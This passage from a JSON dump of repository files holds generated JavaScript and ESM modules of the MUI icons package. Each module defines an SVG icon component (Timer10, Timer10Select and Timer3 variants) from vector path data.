1.52v2.51z\"\n}), 'Timer10Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M-.01 7.72V9.4l3-1V18h2V6h-.25zm23.78 6.65c-.14-.28-.35-.53-.63-.74s-.61-.39-1.01-.53-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39c0-.14.03-.28.09-.41s.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S20.99 9 20.45 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.69.23.96c.15.28.36.52.64.73.27.21.6.38.98.53.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.24.51.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19q.645-.195 1.11-.54c.31-.23.54-.51.71-.83s.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02m-9.96-7.32c-.34-.4-.75-.7-1.23-.88-.47-.18-1.01-.27-1.59-.27s-1.11.09-1.59.27-.89.47-1.23.88-.6.93-.79 1.59c-.18.65-.28 1.45-.28 2.39v1.92c0 .94.09 1.74.28 2.39.19.66.45 1.19.8 1.6.34.41.75.71 1.23.89s1.01.28 1.59.28c.59 0 1.12-.09 1.59-.28.48-.18.88-.48 1.22-.89s.6-.94.78-1.6c.18-.65.28-1.45.28-2.39v-1.92c0-.94-.09-1.74-.28-2.39q-.27-.99-.78-1.59m-.92 6.17q0 .9-.12 1.53c-.12.63-.2.76-.36 1.02s-.36.45-.59.57-.51.18-.82.18c-.3 0-.58-.06-.82-.18s-.44-.31-.6-.57-.29-.6-.38-1.02-.13-.93-.13-1.53v-2.5c0-.6.04-1.11.13-1.52s.21-.74.38-1c.16-.25.36-.43.6-.55.24-.11.51-.17.81-.17.31 0 .58.06.81.17.24.11.44.29.6.55.16.25.29.58.37.99s.13.92.13 1.52v2.51z\"\n}), 'Timer10Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10Select.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 8v8h-3V8zm0-3h-3C8.34 5 7 6.34 7 8v8c0 1.66 1.34 3 3 3h3c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3M1 8h2v11h3V5H1zm17.5 3c-.83 0-1.5.68-1.5 1.5v2c0 .82.67 1.5 1.5 1.5H21v1h-4v2h4.5c.83 0 1.5-.67 1.5-1.5v-2c0-.83-.67-1.5-1.5-1.5H19v-1h4v-2z\"\n}), 'Timer10Select');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10Select.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 8v8h-3V8zm0-3h-3C8.34 5 7 6.34 7 8v8c0 1.66 1.34 3 3 3h3c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3M1 8h2v11h3V5H1zm17.5 3c-.83 0-1.5.68-1.5 1.5v2c0 .82.67 1.5 1.5 1.5H21v1h-4v2h4.5c.83 0 1.5-.67 1.5-1.5v-2c0-.83-.67-1.5-1.5-1.5H19v-1h4v-2z\"\n}), 'Timer10Select');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10SelectOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 8v8h-3V8zm0-3h-3C8.34 5 7 6.34 7 8v8c0 1.66 1.34 3 3 3h3c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3M1 8h2v11h3V5H1zm17.5 3c-.83 0-1.5.68-1.5 1.5v2c0 .82.67 1.5 1.5 1.5H21v1h-4v2h4.5c.83 0 1.5-.67 1.5-1.5v-2c0-.83-.67-1.5-1.5-1.5H19v-1h4v-2z\"\n}), 'Timer10SelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10SelectOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 8v8h-3V8zm0-3h-3C8.34 5 7 6.34 7 8v8c0 1.66 1.34 3 3 3h3c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3M1 8h2v11h3V5H1zm17.5 3c-.83 0-1.5.68-1.5 1.5v2c0 .82.67 1.5 1.5 1.5H21v1h-4v2h4.5c.83 0 1.5-.67 1.5-1.5v-2c0-.83-.67-1.5-1.5-1.5H19v-1h4v-2z\"\n}), 'Timer10SelectOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10SelectRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 8v8h-3V8zm0-3h-3C8.34 5 7 6.34 7 8v8c0 1.66 1.34 3 3 3h3c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3M2.5 8H3v9.5c0 .83.67 1.5 1.5 1.5S6 18.33 6 17.5V7c0-1.1-.9-2-2-2H2.5C1.67 5 1 5.67 1 6.5S1.67 8 2.5 8m16 3c-.83 0-1.5.68-1.5 1.5v2c0 .82.67 1.5 1.5 1.5H21v1h-3c-.55 0-1 .45-1 1s.45 1 1 1h3.5c.83 0 1.5-.67 1.5-1.5v-2c0-.83-.67-1.5-1.5-1.5H19v-1h3c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'Timer10SelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10SelectRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 8v8h-3V8zm0-3h-3C8.34 5 7 6.34 7 8v8c0 1.66 1.34 3 3 3h3c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3M2.5 8H3v9.5c0 .83.67 1.5 1.5 1.5S6 18.33 6 17.5V7c0-1.1-.9-2-2-2H2.5C1.67 5 1 5.67 1 6.5S1.67 8 2.5 8m16 3c-.83 0-1.5.68-1.5 1.5v2c0 .82.67 1.5 1.5 1.5H21v1h-3c-.55 0-1 .45-1 1s.45 1 1 1h3.5c.83 0 1.5-.67 1.5-1.5v-2c0-.83-.67-1.5-1.5-1.5H19v-1h3c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'Timer10SelectRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10SelectSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 8v8h-3V8zm3-3H7v14h9zM1 8h2v11h3V5H1zm22 3h-6v5h4v1h-4v2h6v-5h-4v-1h4z\"\n}), 'Timer10SelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10SelectSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 8v8h-3V8zm3-3H7v14h9zM1 8h2v11h3V5H1zm22 3h-6v5h4v1h-4v2h6v-5h-4v-1h4z\"\n}), 'Timer10SelectSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10SelectTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 8v8h-3V8zm0-3h-3C8.34 5 7 6.34 7 8v8c0 1.66 1.34 3 3 3h3c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3M1 8h2v11h3V5H1zm17.5 3c-.83 0-1.5.68-1.5 1.5v2c0 .82.67 1.5 1.5 1.5H21v1h-4v2h4.5c.83 0 1.5-.67 1.5-1.5v-2c0-.83-.67-1.5-1.5-1.5H19v-1h4v-2z\"\n}), 'Timer10SelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10SelectTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 8v8h-3V8zm0-3h-3C8.34 5 7 6.34 7 8v8c0 1.66 1.34 3 3 3h3c1.66 0 3-1.34 3-3V8c0-1.66-1.34-3-3-3M1 8h2v11h3V5H1zm17.5 3c-.83 0-1.5.68-1.5 1.5v2c0 .82.67 1.5 1.5 1.5H21v1h-4v2h4.5c.83 0 1.5-.67 1.5-1.5v-2c0-.83-.67-1.5-1.5-1.5H19v-1h4v-2z\"\n}), 'Timer10SelectTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M-.01 7.72V9.4l3-1V18h2V6h-.25zm23.78 6.65c-.14-.28-.35-.53-.63-.74s-.61-.39-1.01-.53-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39c0-.14.03-.28.09-.41s.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S20.99 9 20.45 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.69.23.96c.15.28.36.52.64.73.27.21.6.38.98.53.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.24.51.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19q.645-.195 1.11-.54c.31-.23.54-.51.71-.83s.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02m-9.96-7.32c-.34-.4-.75-.7-1.23-.88-.47-.18-1.01-.27-1.59-.27s-1.11.09-1.59.27-.89.47-1.23.88-.6.93-.79 1.59c-.18.65-.28 1.45-.28 2.39v1.92c0 .94.09 1.74.28 2.39.19.66.45 1.19.8 1.6.34.41.75.71 1.23.89s1.01.28 1.59.28c.59 0 1.12-.09 1.59-.28.48-.18.88-.48 1.22-.89s.6-.94.78-1.6c.18-.65.28-1.45.28-2.39v-1.92c0-.94-.09-1.74-.28-2.39q-.27-.99-.78-1.59m-.92 6.17q0 .9-.12 1.53c-.12.63-.2.76-.36 1.02s-.36.45-.59.57-.51.18-.82.18c-.3 0-.58-.06-.82-.18s-.44-.31-.6-.57-.29-.6-.38-1.02-.13-.93-.13-1.53v-2.5c0-.6.04-1.11.13-1.52s.21-.74.38-1c.16-.25.36-.43.6-.55.24-.11.51-.17.81-.17.31 0 .58.06.81.17.24.11.44.29.6.55.16.25.29.58.37.99s.13.92.13 1.52v2.51z\"\n}), 'Timer10Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M-.01 7.72V9.4l3-1V18h2V6h-.25zm23.78 6.65c-.14-.28-.35-.53-.63-.74s-.61-.39-1.01-.53-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39c0-.14.03-.28.09-.41s.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S20.99 9 20.45 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.69.23.96c.15.28.36.52.64.73.27.21.6.38.98.53.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.24.51.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19q.645-.195 1.11-.54c.31-.23.54-.51.71-.83s.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02m-9.96-7.32c-.34-.4-.75-.7-1.23-.88-.47-.18-1.01-.27-1.59-.27s-1.11.09-1.59.27-.89.47-1.23.88-.6.93-.79 1.59c-.18.65-.28 1.45-.28 2.39v1.92c0 .94.09 1.74.28 2.39.19.66.45 1.19.8 1.6.34.41.75.71 1.23.89s1.01.28 1.59.28c.59 0 1.12-.09 1.59-.28.48-.18.88-.48 1.22-.89s.6-.94.78-1.6c.18-.65.28-1.45.28-2.39v-1.92c0-.94-.09-1.74-.28-2.39q-.27-.99-.78-1.59m-.92 6.17q0 .9-.12 1.53c-.12.63-.2.76-.36 1.02s-.36.45-.59.57-.51.18-.82.18c-.3 0-.58-.06-.82-.18s-.44-.31-.6-.57-.29-.6-.38-1.02-.13-.93-.13-1.53v-2.5c0-.6.04-1.11.13-1.52s.21-.74.38-1c.16-.25.36-.43.6-.55.24-.11.51-.17.81-.17.31 0 .58.06.81.17.24.11.44.29.6.55.16.25.29.58.37.99s.13.92.13 1.52v2.51z\"\n}), 'Timer10Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.99 18h2V6h-.25L-.01 7.72V9.4l3-1zm9.59-11.83c-.47-.18-1.01-.27-1.59-.27s-1.11.09-1.59.27-.89.47-1.23.88-.6.93-.79 1.59c-.18.65-.28 1.45-.28 2.39v1.92c0 .94.09 1.74.28 2.39.19.66.45 1.19.8 1.6.34.41.75.71 1.23.89s1.01.28 1.59.28c.59 0 1.12-.09 1.59-.28.48-.18.88-.48 1.22-.89s.6-.94.78-1.6c.18-.65.28-1.45.28-2.39v-1.92c0-.94-.09-1.74-.28-2.39q-.27-.99-.78-1.59c-.51-.6-.75-.7-1.23-.88m.32 7.05h-.01q0 .9-.12 1.53t-.36 1.02c-.16.26-.36.45-.59.57s-.51.18-.82.18c-.3 0-.58-.06-.82-.18s-.44-.31-.6-.57-.29-.6-.38-1.02-.13-.93-.13-1.53v-2.5c0-.6.04-1.11.13-1.52s.21-.74.38-1c.16-.25.36-.43.6-.55.24-.11.51-.17.81-.17.31 0 .58.06.81.17.24.11.44.29.6.55.16.25.29.58.37.99s.13.92.13 1.52zm10.24.41c-.28-.21-.61-.39-1.01-.53s-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39c0-.14.03-.28.09-.41s.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S20.99 9 20.45 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.69.23.96c.15.28.36.52.64.73.27.21.6.38.98.53.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.16.34.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19s.8-.31 1.11-.54.54-.51.71-.83.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02-.14-.28-.35-.53-.63-.74\"\n}), 'Timer10TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer10TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.99 18h2V6h-.25L-.01 7.72V9.4l3-1zm9.59-11.83c-.47-.18-1.01-.27-1.59-.27s-1.11.09-1.59.27-.89.47-1.23.88-.6.93-.79 1.59c-.18.65-.28 1.45-.28 2.39v1.92c0 .94.09 1.74.28 2.39.19.66.45 1.19.8 1.6.34.41.75.71 1.23.89s1.01.28 1.59.28c.59 0 1.12-.09 1.59-.28.48-.18.88-.48 1.22-.89s.6-.94.78-1.6c.18-.65.28-1.45.28-2.39v-1.92c0-.94-.09-1.74-.28-2.39q-.27-.99-.78-1.59c-.51-.6-.75-.7-1.23-.88m.32 7.05h-.01q0 .9-.12 1.53t-.36 1.02c-.16.26-.36.45-.59.57s-.51.18-.82.18c-.3 0-.58-.06-.82-.18s-.44-.31-.6-.57-.29-.6-.38-1.02-.13-.93-.13-1.53v-2.5c0-.6.04-1.11.13-1.52s.21-.74.38-1c.16-.25.36-.43.6-.55.24-.11.51-.17.81-.17.31 0 .58.06.81.17.24.11.44.29.6.55.16.25.29.58.37.99s.13.92.13 1.52zm10.24.41c-.28-.21-.61-.39-1.01-.53s-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39c0-.14.03-.28.09-.41s.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S20.99 9 20.45 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.69.23.96c.15.28.36.52.64.73.27.21.6.38.98.53.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.16.34.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19s.8-.31 1.11-.54.54-.51.71-.83.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02-.14-.28-.35-.53-.63-.74\"\n}), 'Timer10TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.61 12.97c-.16-.24-.36-.46-.62-.65q-.375-.285-.93-.48c.3-.14.57-.3.8-.5s.42-.41.57-.64.27-.46.34-.71c.08-.24.11-.49.11-.73 0-.55-.09-1.04-.28-1.46-.18-.42-.44-.77-.78-1.06-.33-.28-.73-.5-1.2-.64-.45-.13-.97-.2-1.53-.2-.55 0-1.06.08-1.52.24q-.705.255-1.2.69c-.33.29-.6.63-.78 1.03-.2.39-.29.83-.29 1.29h1.98c0-.26.05-.49.14-.69s.22-.38.38-.52c.17-.14.36-.25.58-.33s.46-.12.73-.12c.61 0 1.06.16 1.36.47s.44.75.44 1.32c0 .27-.04.52-.12.74s-.21.41-.38.57-.38.28-.63.37-.55.13-.89.13H6.72v1.57H7.9c.34 0 .64.04.91.11.27.08.5.19.69.35s.34.36.44.61c.1.24.16.54.16.87 0 .62-.18 1.09-.53 1.42s-.84.49-1.45.49c-.29 0-.56-.04-.8-.13-.24-.08-.44-.2-.61-.36s-.3-.34-.39-.56-.14-.46-.14-.72H4.19c0 .55.11 1.03.32 1.45s.5.77.86 1.05.77.49 1.24.63.96.21 1.48.21c.57 0 1.09-.08 1.58-.23s.91-.38 1.26-.68c.36-.3.64-.66.84-1.1.2-.43.3-.93.3-1.48 0-.29-.04-.58-.11-.86-.08-.25-.19-.51-.35-.76m9.26 1.4c-.14-.28-.35-.53-.63-.74s-.61-.39-1.01-.53-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39.03-.28.09-.41.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S18.09 9 17.55 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.68.23.96.37.52.64.73.6.38.98.53c.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.16.34.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19q.645-.195 1.11-.54c.31-.23.54-.51.71-.83s.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02\"\n}), 'Timer3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.61 12.97c-.16-.24-.36-.46-.62-.65q-.375-.285-.93-.48c.3-.14.57-.3.8-.5s.42-.41.57-.64.27-.46.34-.71c.08-.24.11-.49.11-.73 0-.55-.09-1.04-.28-1.46-.18-.42-.44-.77-.78-1.06-.33-.28-.73-.5-1.2-.64-.45-.13-.97-.2-1.53-.2-.55 0-1.06.08-1.52.24q-.705.255-1.2.69c-.33.29-.6.63-.78 1.03-.2.39-.29.83-.29 1.29h1.98c0-.26.05-.49.14-.69s.22-.38.38-.52c.17-.14.36-.25.58-.33s.46-.12.73-.12c.61 0 1.06.16 1.36.47s.44.75.44 1.32c0 .27-.04.52-.12.74s-.21.41-.38.57-.38.28-.63.37-.55.13-.89.13H6.72v1.57H7.9c.34 0 .64.04.91.11.27.08.5.19.69.35s.34.36.44.61c.1.24.16.54.16.87 0 .62-.18 1.09-.53 1.42s-.84.49-1.45.49c-.29 0-.56-.04-.8-.13-.24-.08-.44-.2-.61-.36s-.3-.34-.39-.56-.14-.46-.14-.72H4.19c0 .55.11 1.03.32 1.45s.5.77.86 1.05.77.49 1.24.63.96.21 1.48.21c.57 0 1.09-.08 1.58-.23s.91-.38 1.26-.68c.36-.3.64-.66.84-1.1.2-.43.3-.93.3-1.48 0-.29-.04-.58-.11-.86-.08-.25-.19-.51-.35-.76m9.26 1.4c-.14-.28-.35-.53-.63-.74s-.61-.39-1.01-.53-.85-.27-1.35-.38c-.35-.07-.64-.15-.87-.23s-.41-.16-.55-.25-.23-.19-.28-.3-.08-.24-.08-.39.03-.28.09-.41.15-.25.27-.34q.18-.15.45-.24c.27-.09.4-.09.64-.09.25 0 .47.04.66.11s.35.17.48.29.22.26.29.42c.06.16.1.32.1.49h1.95c0-.39-.08-.75-.24-1.09s-.39-.63-.69-.88-.66-.44-1.09-.59S18.09 9 17.55 9c-.51 0-.98.07-1.39.21s-.77.33-1.06.57-.51.52-.67.84-.23.65-.23 1.01.08.68.23.96.37.52.64.73.6.38.98.53c.38.14.81.26 1.27.36.39.08.71.17.95.26s.43.19.57.29c.13.1.22.22.27.34s.07.25.07.39c0 .32-.13.57-.4.77s-.66.29-1.17.29c-.22 0-.43-.02-.64-.08-.21-.05-.4-.13-.56-.24-.17-.11-.3-.26-.41-.44s-.17-.41-.18-.67h-1.89q0 .54.24 1.05c.16.34.39.65.7.93.31.27.69.49 1.15.66s.98.25 1.58.25c.53 0 1.01-.06 1.44-.19q.645-.195 1.11-.54c.31-.23.54-.51.71-.83s.25-.67.25-1.06c-.02-.4-.09-.74-.24-1.02\"\n}), 'Timer3');"
  },
  {
    "path": "packages/mui-icons-material/lib/Timer3Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.61 12.97c-.16-.24-.36-.46-.62-.65q-.375-.285-.93-.48c.3-.14.57-.3.8-.5s.42-.41.57-.64.27-.46.34-.71c.08-.24.11-.49.11-.73 0-.55-.09-1.04-.28-1.46-.18-.42-.44-.77-.78-1.06-.33-.28-.73-.5-1.2-.64-.45-.13-.97-.2-1.53-.2-.55 0-1.06.08-1.52.24q-.705.255-1.2.69c-.33.29-.6.63-.78 